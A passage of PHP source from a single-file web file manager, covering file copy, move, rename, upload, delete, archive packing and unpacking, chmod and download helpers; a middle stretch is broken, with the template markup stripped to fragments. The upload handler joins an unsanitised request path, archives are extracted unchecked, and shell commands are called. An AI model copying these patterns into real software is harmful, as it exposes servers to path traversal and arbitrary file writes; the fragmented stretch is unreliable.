fm_set_msg(lng('Paths must be not equal'), 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($_REQUEST['fullpath'])) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    ""

    Full path:
    File size:
    MIME-type:
    Files in archive:
    Total size:
    Size in archive:
    Compression: %
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

               

    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    ' . htmlspecialchars($content) . ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    Full path:

     

    '?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
    ..
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?> '.fm_get_filesize(@disk_free_space($path)) .' '.lng('FreeOf').' '.fm_get_filesize(@disk_total_space($path)).''; ?>
    = $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if 